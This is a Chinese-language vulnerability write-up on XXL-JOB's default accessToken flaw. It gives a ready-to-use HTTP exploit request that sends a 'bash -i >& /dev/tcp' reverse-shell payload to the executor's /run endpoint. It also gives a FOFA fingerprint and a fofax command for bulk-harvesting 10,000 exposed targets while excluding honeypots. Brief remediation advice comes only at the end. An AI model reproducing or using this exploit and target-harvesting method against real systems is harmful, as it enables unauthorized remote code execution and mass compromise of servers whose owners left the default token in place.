文章目录
- 漏洞描述
- 漏洞编号
- 漏洞评级
- 影响版本
- 漏洞复现
- - EXP 编写
- 漏洞挖掘
- 修复建议
漏洞描述
XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。
XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此默认的accessToken 绕过认证调用 executor,执行任意代码,从而获取服务器权限。
漏洞编号
无
漏洞评级
高危
影响版本
XXL-JOB <= 2.4.0
漏洞复现
漏洞环境与漏洞工具下载链接:https://pan.baidu.com/s/1ePOM_GcC71M19Mc5l0ldqQ?pwd=8888
漏洞复现详细参考链接:https://mp.weixin.qq.com/s/JEpiUndGLe–ufLq0NR0_Q
- EXP 编写
POST /run HTTP/1.1
Host: 目标IP:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 391
XXL-JOB-ACCESS-TOKEN: default_token
{
"jobId": 2,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/监听IP/监听端口 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
执行以上EXP之后,获得反弹shell,如下图所示:
注意:
在这个靶场环境中,我只能执行获得反弹shell的EXP,如果是ping一个dnslog域名,或者是创建一个目录,都是无法成功的,有时候反弹shell也不可以,但是可以创建目录,不知道为啥,可能有点玄学吧!
玄学解决:
在经过对靶场环境的多次重启试验之后,我发现我们编写的EXP只能用一次,如果第二次用其他命令就无法命令执行了,除非将靶场环境重启,我们才能执行其他的命令,不然只能一直使用第一次用的EXP
漏洞挖掘
fofa语法
body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"
批量收集资产:通过fofax工具,使用-e参数排除蜜罐干扰,然后通过fofa查找10000条数据并放入txt文件中
echo 'body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"' | fofax -fs 10000 -e>xxl-job.txt
修复建议
1.修改调度中心和执行器配置中的 xxl.job.accessToken 默认值。
2.如非必要,禁止公网访问执行器端。